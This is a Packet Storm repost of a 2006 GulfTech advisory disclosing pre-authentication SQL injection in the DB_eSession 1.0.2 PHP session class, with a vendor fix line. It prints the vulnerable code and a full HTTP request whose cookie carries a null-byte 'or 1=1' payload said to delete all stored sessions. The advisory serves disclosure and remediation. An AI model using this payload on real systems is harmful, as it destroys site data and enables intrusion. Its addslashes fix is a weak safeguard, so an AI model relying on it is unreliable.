what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DBeSession102.txt

DBeSession102.txt
Posted Feb 14, 2006
Site gulftech.org

DB_eSession 1.0.2 is susceptible to SQL injection attacks. Details provided.

tags | exploit, sql injection
SHA-256 | 0c4bfa65000f352328789779fbba47a37f9db793706e672cbe7275c9751558fe

DBeSession102.txt

Change Mirror Download
##########################################################
# GulfTech Security Research February 11, 2006
##########################################################
# Vendor : Lawrence Osiris
# URL : http://www.phpclasses.org/browse/package/1624.html
# Version : DB_eSession 1.0.2
# Risk : SQL Injection
##########################################################


Description:
DB_eSession is a feature-packed PHP class that stores the
session data in a MySQL database rather than files. It is
powerful, designed with security in mind, and is easy to
utilize. The DB_eSession library is used in a number of
popular web applications, and private projects alike.
DB_eSession is vulnerable to SQL Injection attacks due to
unsafe use of cookie data in an SQL query, and can allow an
attacker to craft malicious SQL Queries and have them then
successfully executed.



SQL Injection:
There is an SQL injection vulnerability in DB_eSession that
allow for an attacker to perform pre authentication SQL
Injection attacks against the vulnerable web application.

/**
* Try and save the current session ID if one is defined already.
*/
if (isSet($_COOKIE[$this->_sess_name]))
$_sess_id_set = $_COOKIE[$this->_sess_name];
else
if (isSet($GLOBALS[$this->_sess_name]))
$_sess_id_set = $GLOBALS[$this->_sess_name];
else
$_sess_id_set = NULL;

The above code is from DB_eSession class @ lines 1080 - 1090
The variable $this->_sess_name is in most cases PHPSESSID, or
set to a developer specified value. You should be able to tell
from having a look at your cookies.

GET /example/index.php HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=143263645564654563456345634563435%00' or 1=1/*

The above request would successfully delete all of the sessions
in the database. The reason for the null byte is to get past
having the application die @ line 1134. Depending on what the
version of MySQL in use is, other attacks may be possible. The
root of this problem is that unsafe data is taken from a cookie
value and then passed to the deleteSession() function where it
is then used in an SQL query.



Solution:
The vendor was unresponsive to my contact attempts, but a fix is
not too difficult @ line 1092 add the following code below the
code shown @1080-1090

$_sess_id_set = ( empty($_sess_id_set) ) ? NULL: addslashes($_sess_id_set);

This should effectively stop any SQL Injection attacks against the
vulnerable DB_eSession class.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00099-02112006
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close